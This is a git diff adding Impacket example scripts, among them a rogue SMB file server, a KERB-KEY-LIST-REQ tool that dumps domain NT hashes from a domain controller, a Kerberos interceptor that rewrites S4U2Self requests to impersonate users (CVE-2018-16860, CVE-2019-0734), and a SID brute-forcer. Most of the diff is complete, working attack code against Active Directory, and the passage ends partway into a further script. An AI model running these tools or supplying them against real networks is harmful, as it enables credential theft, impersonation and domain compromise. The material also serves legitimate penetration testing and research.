+        treeConnectAndXData.fromString(SMBCommand['Data'])
+
+        errorCode = STATUS_SUCCESS
+
+        UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path'])
+
+        # Is this a UNC?
+        if ntpath.ismount(UNCOrShare):
+            path = UNCOrShare.split('\\')[3]
+        else:
+            path = ntpath.basename(UNCOrShare)
+
+        # We won't search for the share.. all of them exist :P
+        smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
+        #share = searchShare(connId, path, smbServer) 
+        share = {}
+        # Simple way to generate a Tid
+        if len(connData['ConnectedShares']) == 0:
+           tid = 1
+        else:
+           tid = list(connData['ConnectedShares'].keys())[-1] + 1
+        connData['ConnectedShares'][tid] = share
+        connData['ConnectedShares'][tid]['path'] = '/'
+        connData['ConnectedShares'][tid]['shareName'] = path
+        resp['Tid'] = tid
+        #smbServer.log("Connecting Share(%d:%s)" % (tid,path))
+
+        respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS
+
+        if path == 'IPC$':
+            respData['Service']               = 'IPC'
+        else:
+            respData['Service']               = path
+        respData['PadLen']                = 0
+        respData['NativeFileSystem']      = encodeSMBString(recvPacket['Flags2'], 'NTFS' ).decode()
+
+        respSMBCommand['Parameters']             = respParameters
+        respSMBCommand['Data']                   = respData 
+
+        resp['Uid'] = connData['Uid']
+        resp.addCommand(respSMBCommand)
+        smbServer.setConnectionData(connId, connData)
+
+        return None, [resp], errorCode
+
+    def _start(self):
+        self.server.serve_forever()
+
+    def run(self):
+        logging.info("Setting up SMB Server")
+        self._start()
+
+    def setDefaultFile(self, filename):
+        self.defaultFile = filename
+
+    def setExtensionsConfig(self, filename):
+        for line in filename.readlines():
+            line = line.strip('\r\n ')
+            if line.startswith('#') is not True and len(line) > 0:
+                extension, pathName = line.split('=')
+                self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip())
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Init the example's logger theme
+    logger.init()
+    print(version.BANNER)
+    parser = argparse.ArgumentParser(add_help = False, description = "For every file request received, this module will "
+                                                                     "return the pathname contents")
+    parser.add_argument("--help", action="help", help='show this help message and exit')
+    parser.add_argument('fileName', action='store', metavar = 'pathname', help="Pathname's contents to deliver to SMB "
+                                                                               "clients")
+    parser.add_argument('-config', type=argparse.FileType('r'), metavar = 'pathname', help='config file name to map '
+                        'extensions to files to deliver. For those extensions not present, pathname will be delivered')
+    parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
+
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    try:
+       options = parser.parse_args()
+    except Exception as e:
+       logging.critical(str(e))
+       sys.exit(1)
+
+    s = KarmaSMBServer(options.smb2support)
+    s.setDefaultFile(os.path.normpath(options.fileName))
+    if options.config is not None:
+        s.setExtensionsConfig(options.config)
+
+    s.start()
+        
+    logging.info("Servers started, waiting for connections")
+    while True:
+        try:
+            sys.stdin.read()
+        except KeyboardInterrupt:
+            sys.exit(1)
+        else:
+            pass
diff --git a/examples/keylistattack.py b/examples/keylistattack.py
new file mode 100644
index 0000000..f107c14
--- /dev/null
+++ b/examples/keylistattack.py
@@ -0,0 +1,271 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Performs the KERB-KEY-LIST-REQ attack to dump secrets
+#   from the remote machine without executing any agent there
+#
+#   If the SMB credentials are supplied, the script starts by
+#   enumerating the domain users via SAMR. Otherwise, the attack
+#   is executed against the specified targets.
+#
+#   Examples:
+#       ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey <aesKey>
+#       ./keylistdump.py contoso.com/jdoe:pass@dc01 -rodcNo 20000 -rodcKey <aesKey> -full
+#       ./keylistdump.py -kdc dc01.contoso.com -t victim -rodcNo 20000 -rodcKey <aesKey> LIST
+#       ./keylistdump.py -kdc dc01 -domain contoso.com -tf targetfile.txt -rodcNo 20000 -rodcKey <aesKey> LIST
+#
+# Author:
+#   Leandro Cuozzo (@0xdeaddood)
+#
+
+import logging
+import os
+import random
+
+from impacket.examples import logger
+from impacket.examples.secretsdump import RemoteOperations, KeyListSecrets
+from impacket.examples.utils import parse_target
+from impacket.krb5 import constants
+from impacket.krb5.types import Principal
+from impacket.smbconnection import SMBConnection
+from impacket import version
+
+try:
+    rand = random.SystemRandom()
+except NotImplementedError:
+    rand = random
+    pass
+
+
+class KeyListDump:
+    def __init__(self, remoteName, username, password, domain, options, enum, targets):
+        self.__domain = domain
+        self.__username = username
+        self.__password = password
+        self.__aesKey = options.aesKey
+        self.__doKerberos = options.k
+        self.__aesKeyRodc = options.rodcKey
+        self.__remoteName = remoteName
+        self.__remoteHost = options.target_ip
+        self.__kdcHost = options.dc_ip
+        self.__rodc = options.rodcNo
+        # self.__kvno = 1
+        self.__enum = enum
+        self.__targets = targets
+        self.__full = options.full
+        self.__smbConnection = None
+        self.__remoteOps = None
+        self.__keyListSecrets = None
+
+        if options.hashes is not None:
+            self.__lmhash, self.__nthash = options.hashes.split(':')
+        else:
+            self.__lmhash = ''
+            self.__nthash = ''
+
+    def connect(self):
+        try:
+            self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
+            if self.__doKerberos:
+                self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
+                                                   self.__nthash, self.__aesKey, self.__kdcHost)
+            else:
+                self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash,
+                                           self.__nthash)
+        except Exception as e:
+            if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
+                # SMBConnection failed. That might be because there was no way to log into the
+                # target system. We just have a last resort. Hope we have tickets cached and that they
+                # will work
+                logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
+                pass
+            else:
+                raise
+
+    def run(self):
+        if self.__enum is True:
+            self.connect()
+            self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
+            self.__remoteOps.connectSamr(self.__domain)
+            self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps)
+            logging.info('Enumerating target users. This may take a while on large domains')
+            if self.__full is True:
+                targetList = self.getAllDomainUsers()
+            else:
+                targetList = self.__keyListSecrets.getAllowedUsersToReplicate()
+        else:
+            logging.info('Using target users provided by parameter')
+            self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, None)
+            targetList = self.__targets
+
+        logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)')
+        logging.info('Using the KERB-KEY-LIST request method. Tickets everywhere!')
+        for targetUser in targetList:
+            user = targetUser.split(":")[0]
+            targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
+            partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(targetUserName)
+            fullTGT = self.__keyListSecrets.getFullTGT(targetUserName, partialTGT, sessionKey)
+            if fullTGT is not None:
+                key = self.__keyListSecrets.getKey(fullTGT, sessionKey)
+                print(self.__domain + "\\" + targetUser + ":" + key[2:])
+
+    def getAllDomainUsers(self):
+        resp = self.__remoteOps.getDomainUsers()
+        # Users not allowed to replicate passwords by default
+        deniedUsers = [500, 501, 502, 503]
+        targetList = []
+        for user in resp['Buffer']['Buffer']:
+            if user['RelativeId'] not in deniedUsers and "krbtgt_" not in user['Name']:
+                targetList.append(user['Name'] + ":" + str(user['RelativeId']))
+
+        return targetList
+
+
+if __name__ == '__main__':
+    import argparse
+    import sys
+
+    try:
+        import pyasn1
+        from pyasn1.type.univ import noValue, SequenceOf, Integer
+    except ImportError:
+        print('This module needs pyasn1 installed')
+        sys.exit(1)
+
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser(add_help=True, description="Performs the KERB-KEY-LIST-REQ attack to dump "
+                                                                "secrets from the remote machine without executing any agent there.")
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<KDC HostName or IP address> (Use this credential '
+                                                       'to authenticate to SMB and list domain users (low-privilege account) or LIST'
+                                                       ' (if you want to parse a target file) ')
+    parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account')
+    parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller')
+    parser.add_argument('-full', action='store_true', default=False, help='Run the attack against all domain users. '
+                        'Noisy! It could lead to more TGS requests being rejected')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+
+    group = parser.add_argument_group('LIST option')
+    group.add_argument('-domain', action='store', help='The fully qualified domain name (only works with LIST)')
+    group.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)')
+    group.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)')
+    group.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)')
+
+    group = parser.add_argument_group('authentication')
+    group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='Use NTLM hashes to authenticate to SMB '
+                                                                                'and list domain users.')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos to authenticate to SMB and list domain users. Grabs '
+                       'credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot '
+                       'be found, it will use the ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication'
+                                                                          ' (128 or 256 bits)')
+    group = parser.add_argument_group('connection')
+    group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
+                       'ommited it use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address",
+                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
+                            'This is useful when target is the NetBIOS name and you cannot resolve it')
+
+    if len(sys.argv) == 1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init()
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    if options.rodcNo is None:
+        logging.error("You must specify the RODC number (krbtgt_XXXXX)")
+        sys.exit(1)
+    if options.rodcKey is None:
+        logging.error("You must specify the RODC aes key")
+        sys.exit(1)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if remoteName == '':
+        logging.error("You must specify a target or set the option LIST")
+        sys.exit(1)
+
+    if remoteName == 'LIST':
+        targets = []
+        if options.full is True:
+            logging.warning("Flag -full will have no effect")
+        if options.t is not None:
+            targets.append(options.t)
+        elif options.tf is not None:
+            try:
+                with open(options.tf, 'r') as f:
+                    for line in f:
+                        target = line.strip()
+                        if target != '' and target[0] != '#':
+                            targets.append(target + ":" + "N/A")
+            except IOError as error:
+                logging.error("Could not open file: %s - %s", options.tf, str(error))
+                sys.exit(1)
+            if len(targets) == 0:
+                logging.error("No valid targets specified!")
+                sys.exit(1)
+        else:
+            logging.error("You must specify a target username or targets file")
+            sys.exit(1)
+
+        if options.kdc is not None:
+            if '.' in options.kdc:
+                remoteName, domain = options.kdc.split('.', 1)
+            else:
+                remoteName = options.kdc
+        else:
+            logging.error("You must specify the KDC HostName or FQDN")
+            sys.exit(1)
+
+        if options.target_ip is None:
+            options.target_ip = remoteName
+        if options.domain is not None:
+            domain = options.domain
+        if domain == '':
+            logging.error("You must specify a target domain. Use the flag -domain or define a FQDN in flag -kdc")
+            sys.exit(1)
+
+        keylistdumper = KeyListDump(remoteName, username, password, domain, options, False, targets)
+    else:
+        if '@' not in options.target:
+            logging.error("You must specify the KDC HostName or IP Address")
+            sys.exit(1)
+        if options.target_ip is None:
+            options.target_ip = remoteName
+        if domain == '':
+            logging.error("You must specify a target domain")
+            sys.exit(1)
+        if username == '':
+            logging.error("You must specify a username")
+            sys.exit(1)
+        if password == '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+            from getpass import getpass
+            password = getpass("Password:")
+
+        keylistdumper = KeyListDump(remoteName, username, password, domain, options, True, targets=[])
+
+    try:
+        keylistdumper.run()
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+
+            traceback.print_exc()
+        logging.error(e)
\ No newline at end of file
diff --git a/examples/kintercept.py b/examples/kintercept.py
new file mode 100644
index 0000000..df5eb4f
--- /dev/null
+++ b/examples/kintercept.py
@@ -0,0 +1,287 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+# Copyright (c) 2017 @MrAnde7son
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Copyright and licensing note from kintercept.py:
+#
+# MIT Licensed
+# Copyright (c) 2019 Isaac Boukris <iboukris@gmail.com>
+#
+# A tool for intercepting TCP streams and for testing KDC handling
+# of PA-FOR-USER with unkeyed checksums in MS Kerberos S4U2Self
+# protocol extention (CVE-2018-16860 and CVE-2019-0734).
+#
+# The tool listens on a local port (default 88), to which the hijacked
+# connections should be redirected (via port forwarding, etc), and sends
+# all the packets to the upstream DC server.
+# If s4u2else handler is set, the name in PA-FOR-USER padata in every proxied
+# packet will be changed to the name specified in the handler's argument.
+#
+# Example: kintercept.py --request-handler s4u2else:administrator dc-ip-addr
+#
+import struct, socket, argparse, asyncore
+from binascii import crc32
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+from impacket import version
+from impacket.krb5 import constants
+from impacket.krb5.crypto import Cksumtype
+from impacket.krb5.asn1 import TGS_REQ, TGS_REP, seq_set, PA_FOR_USER_ENC
+from impacket.krb5.types import Principal
+
+
+MAX_READ_SIZE = 16000
+MAX_BUFF_SIZE = 32000
+LISTEN_QUEUE = 10
+TYPE = 10
+
+def process_s4u2else_req(data, impostor):
+    try:
+        tgs = decoder.decode(data, asn1Spec = TGS_REQ())[0]
+    except:
+        print ('Record is not a TGS-REQ')
+        return ''
+
+    pa_tgs_req = pa_for_user = None
+
+    for pa in tgs['padata']:
+        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_TGS_REQ.value:
+            pa_tgs_req = pa
+        elif pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_FOR_USER.value:
+            pa_for_user = pa
+
+    if not pa_tgs_req or not pa_for_user:
+        print ('TGS request is not S4U')
+        return ''
+
+    tgs['padata'] = noValue
+    tgs['padata'][0] = pa_tgs_req
+
+    try:
+        for_user_obj = decoder.decode(pa_for_user['padata-value'], asn1Spec = PA_FOR_USER_ENC())[0]
+    except:
+        print ('Failed to decode PA_FOR_USER!')
+        return ''
+
+    S4UByteArray = struct.pack('<I', TYPE)
+    S4UByteArray += impostor + str(for_user_obj['userRealm']) + 'Kerberos'
+
+    cs = (~crc32(S4UByteArray, 0xffffffff)) & 0xffffffff
+    cs = struct.pack('<I', cs)
+
+    clientName = Principal(impostor, type=TYPE)
+    seq_set(for_user_obj, 'userName', clientName.components_to_asn1)
+
+    for_user_obj['cksum'] = noValue
+    for_user_obj['cksum']['cksumtype'] = Cksumtype.CRC32
+    for_user_obj['cksum']['checksum'] = cs
+
+    pa_for_user['padata-value'] = encoder.encode(for_user_obj)
+    tgs['padata'][1] = pa_for_user
+
+    return bytes(encoder.encode(tgs))
+
+def mod_tgs_rep_user(data, reply_user):
+    try:
+        tgs = decoder.decode(data, asn1Spec = TGS_REP())[0]
+    except:
+        print ('Record is not a TGS-REP')
+        return ''
+
+    cname = Principal(reply_user, type=TYPE)
+    seq_set(tgs, 'cname', cname.components_to_asn1)
+
+    return bytes(encoder.encode(tgs))
+
+
+class InterceptConn(asyncore.dispatcher):
+    def __init__(self, conn=None):
+        asyncore.dispatcher.__init__(self, conn)
+        self.peer = None
+        self.buffer = bytearray()
+        self.eof_received = False
+        self.eof_sent = False
+
+    # Override recv method to handle half opened connections
+    # e.g. curl --http1.0 ...
+    def recv(self, n):
+        if not n:
+            return ''
+        try:
+            data = self.socket.recv(n)
+            if not data:
+                self.handle_eof()
+                return ''
+            else:
+                return data
+        except socket.error as why:
+            if why.args[0] in asyncore._DISCONNECTED:
+                self.handle_close()
+                return ''
+            else:
+                raise
+
+    def forward_data(self, data):
+        self.peer.buffer.extend(data)
+
+    def buffer_empty(self):
+        return len(self.buffer) == 0
+
+    def max_read_size(self):
+        space = MAX_BUFF_SIZE - min(MAX_BUFF_SIZE, len(self.peer.buffer))
+        return min(MAX_READ_SIZE, space)
+
+    def readable(self):
+        if not self.connected:
+            return True
+        return (not self.eof_received) and (self.max_read_size() != 0)
+
+    def handle_read(self):
+        data_read = self.recv(self.max_read_size())
+        if data_read:
+            print (str(self.fileno()) + ': recieved ' + str(len(data_read)) + ' bytes')
+            self.forward_data(data_read)
+
+    def handle_eof(self):
+        print (str(self.fileno()) +  ': received eof')
+        self.eof_received = True
+
+    def need_to_send_eof(self):
+        if self.eof_sent:
+            return False
+        return self.buffer_empty() and self.peer.eof_received
+
+    def writable(self):
+        if not self.connected:
+            return True
+        return not self.buffer_empty() or self.need_to_send_eof()
+
+    def handle_write(self):
+        if not self.buffer_empty():
+            sent = self.send(self.buffer)
+            print (str(self.fileno()) +  ': sent ' + str(sent) + ' bytes')
+            if sent:
+                del self.buffer[:sent]
+        if self.need_to_send_eof():
+            self.shutdown(socket.SHUT_WR)
+            self.eof_sent = True
+            print (str(self.fileno()) +  ': sent eof')
+            if self.peer.eof_sent:
+                self.handle_close()
+
+    def handle_close(self):
+        print ('Closing pair: [' + str(self.fileno()) +  ',' + str(self.peer.fileno()) + ']')
+        self.peer.close()
+        self.close()
+
+
+def InterceptKRB5Tcp(process_record_func, arg):
+    class _InterceptKRB5Tcp(InterceptConn):
+        def __init__(self, conn=None):
+            InterceptConn.__init__(self, conn)
+            self.proto_buffer = bytearray()
+
+        def forward_data(self, data):
+            self.proto_buffer.extend(data)
+
+            while len(self.proto_buffer):
+                if len(self.proto_buffer) < 4:
+                    break
+
+                header = ''.join(reversed(str(self.proto_buffer[:4])))
+                rec_len = struct.unpack('<L', header)[0]
+                print ('len of record: ' + str(rec_len))
+
+                if len(self.proto_buffer) < 4 + rec_len:
+                    break
+
+                msg = process_record_func(bytes(self.proto_buffer[4:4+rec_len]), arg)
+                if not msg:
+                    InterceptConn.forward_data(self, self.proto_buffer[:4+rec_len])
+                else:
+                    header = struct.pack('<L', len(msg))
+                    InterceptConn.forward_data(self, ''.join(reversed(header)) + msg)
+
+                del self.proto_buffer[:4+rec_len]
+
+    return _InterceptKRB5Tcp
+
+class InterceptConnFactory:
+    def __init__(self, handler=None, arg=None):
+        self.handler = handler
+        self.arg = arg
+
+    def produce(self):
+        if not self.handler:
+            return InterceptConn
+        if self.handler.lower() == "s4u2else":
+            return InterceptKRB5Tcp(process_s4u2else_req, self.arg)
+        if self.handler.lower() == "tgs-rep-user":
+            return InterceptKRB5Tcp(mod_tgs_rep_user, self.arg)
+
+class InterceptServer(asyncore.dispatcher):
+    def __init__(self, addr, target, icf1, icf2):
+        asyncore.dispatcher.__init__(self)
+        self.target = target
+        self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.set_reuse_addr()
+        self.bind(addr)
+        self.listen(LISTEN_QUEUE)
+        self.downconns = icf1
+        self.upconns = icf2
+
+    def intercept_conns(self, conn):
+        iconn1 = self.downconns.produce()(conn)
+        iconn2 = self.upconns.produce()()
+        return iconn1, iconn2
+
+    def handle_accept(self):
+        conn, addr = self.accept()
+        downstream, upstream = self.intercept_conns(conn)
+        downstream.peer = upstream
+        upstream.peer = downstream
+        try:
+            upstream.create_socket(socket.AF_INET, socket.SOCK_STREAM)
+            upstream.connect(self.target)
+            print ('accepted downconn fd: ' + str(downstream.fileno()))
+            print ('established upconn fd: ' + str(upstream.fileno()))
+        except:
+            print (str(conn.fileno()) + ': failed to connect to target')
+            downstream.handle_close()
+
+
+def parse_args():
+    parser = argparse.ArgumentParser(description='Intercept TCP streams')
+    parser.add_argument('server', help='Target server address')
+    parser.add_argument('--server-port', default=88, type=int, help='Target server port')
+    parser.add_argument('--listen-port', default=88, type=int, help='Port to listen on')
+    parser.add_argument('--listen-addr', default='', help='Address to listen on')
+    parser.add_argument('--request-handler', default='', metavar='HANDLER:ARG', help='Example: s4u2else:user')
+    parser.add_argument('--reply-handler', default='', metavar='HANDLER:ARG', help='Example: tgs-rep-user:user')
+    return vars(parser.parse_args())
+
+
+if __name__ == '__main__':
+
+    print(version.BANNER)
+
+    args = parse_args()
+
+    req_factory = rep_factory = InterceptConnFactory()
+    if args['request_handler']:
+        req_args = args['request_handler'].split(':')
+        req_factory = InterceptConnFactory(req_args[0], req_args[1])
+    if args['reply_handler']:
+        rep_args = args['reply_handler'].split(':')
+        rep_factory = InterceptConnFactory(rep_args[0], rep_args[1])
+
+    server = InterceptServer((args['listen_addr'], args['listen_port']),
+                              (args['server'], args['server_port']),
+                              req_factory, rep_factory)
+    asyncore.loop()
diff --git a/examples/lookupsid.py b/examples/lookupsid.py
new file mode 100644
index 0000000..48b8017
--- /dev/null
+++ b/examples/lookupsid.py
@@ -0,0 +1,197 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   DCE/RPC lookup sid brute forcer example
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference for:
+#   DCE/RPC [MS-LSAT]
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import logging
+import argparse
+import codecs
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version
+from impacket.dcerpc.v5 import transport, lsat, lsad
+from impacket.dcerpc.v5.samr import SID_NAME_USE
+from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+
+
+class LSALookupSid:
+    KNOWN_PROTOCOLS = {
+        139: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True},
+        445: {'bindstr': r'ncacn_np:%s[\pipe\lsarpc]', 'set_host': True},
+        }
+
+    def __init__(self, username='', password='', domain='', port = None,
+                 hashes = None, domain_sids = False, maxRid=4000):
+
+        self.__username = username
+        self.__password = password
+        self.__port = port
+        self.__maxRid = int(maxRid)
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__domain_sids = domain_sids
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def dump(self, remoteName, remoteHost):
+
+        logging.info('Brute forcing SIDs at %s' % remoteName)
+
+        stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName
+        logging.info('StringBinding %s'%stringbinding)
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+
+        if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
+            rpctransport.setRemoteHost(remoteHost)
+
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
+
+        try:
+            self.__bruteForce(rpctransport, self.__maxRid)
+        except Exception as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.critical(str(e))
+            raise
+
+    def __bruteForce(self, rpctransport, maxRid):
+        dce = rpctransport.get_dce_rpc()
+        entries = []
+        dce.connect()
+
+        # Want encryption? Uncomment next line
+        # But make SIMULTANEOUS variable <= 100
+        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
+
+        # Want fragmentation? Uncomment next line
+        #dce.set_max_fragment_size(32)
+
+        dce.bind(lsat.MSRPC_UUID_LSAT)
+        
+        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
+        policyHandle = resp['PolicyHandle']
+
+        if self.__domain_sids: # get the Domain SID
+            resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyPrimaryDomainInformation)
+            domainSid =  resp['PolicyInformation']['PolicyPrimaryDomainInfo']['Sid'].formatCanonical()
+        else: # Get the target host SID
+            resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
+            domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
+
+        logging.info('Domain SID is: %s' % domainSid)
+
+        soFar = 0
+        SIMULTANEOUS = 1000
+        for j in range(maxRid//SIMULTANEOUS+1):
+            if (maxRid - soFar) // SIMULTANEOUS == 0:
+                sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
+            else: 
+                sidsToCheck = SIMULTANEOUS
+ 
+            if sidsToCheck == 0:
+                break
+
+            sids = list()
+            for i in range(soFar, soFar+sidsToCheck):
+                sids.append(domainSid + '-%d' % i)
+            try:
+                lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
+            except DCERPCException as e:
+                if str(e).find('STATUS_NONE_MAPPED') >= 0:
+                    soFar += SIMULTANEOUS
+                    continue
+                elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
+                    resp = e.get_packet()
+                else: 
+                    raise
+
+            for n, item in enumerate(resp['TranslatedNames']['Names']):
+                if item['Use'] != SID_NAME_USE.SidTypeUnknown:
+                    print("%d: %s\\%s (%s)" % (
+                    soFar + n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'],
+                    SID_NAME_USE.enumItems(item['Use']).name))
+            soFar += SIMULTANEOUS
+
+        dce.disconnect()
+
+        return entries
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    # Explicitly changing the stdout encoding format
+    if sys.stdout.encoding is None:
+        # Output is redirected to a file
+        sys.stdout = codecs.getwriter('utf8')(sys.stdout)
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser()
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('maxRid', action='store', default = '4000', nargs='?', help='max Rid to check (default 4000)')
+    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. '
+                       'If omitted it will use whatever was specified as target. This is useful when target is the '
+                       'NetBIOS name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+    group.add_argument('-domain-sids', action='store_true', help='Enumerate Domain SIDs (will likely forward requests to the DC)')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through smbrelayx)')
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    lookup = LSALookupSid(username, password, domain, int(options.port), options.hashes, options.domain_sids, options.maxRid)
+    try:
+        lookup.dump(remoteName, options.target_ip)
+    except:
+        pass
diff --git a/examples/machine_role.py b/examples/machine_role.py
new file mode 100644
index 0000000..c7435a4
--- /dev/null
+++ b/examples/machine_role.py
@@ -0,0 +1,181 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Through MS-DSSP, this script retrieves a host's role along with
+#   its primary domain details.
+#
+#   This may be particularly useful when it is used in a script where  
+#   further operations depend on knowing the role of its target, 
+#   e.g. "I do not want to perform this on a DC".
+#
+# Author:
+#   Simon Decosse (@simondotsh)
+#
+
+import sys
+import logging
+import argparse
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version
+from impacket.uuid import bin_to_string
+from impacket.dcerpc.v5 import transport, dssp
+
+class MachineRole:
+    # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dssp/09f0677f-52e5-454d-9a65-0e8d8ba6fdeb
+    MACHINE_ROLES = {
+        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneWorkstation: 
+        'Standalone Workstation',
+        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberWorkstation: 
+        'Domain-joined Workstation',
+        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleStandaloneServer: 
+        'Standalone Server',
+        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleMemberServer: 
+        'Domain-joined Server',
+        dssp.DSROLE_MACHINE_ROLE.DsRole_RoleBackupDomainController: 
+        'Backup Domain Controller',
+        dssp.DSROLE_MACHINE_ROLE.DsRole_RolePrimaryDomainController: 
+        'Primary Domain Controller'
+    }
+
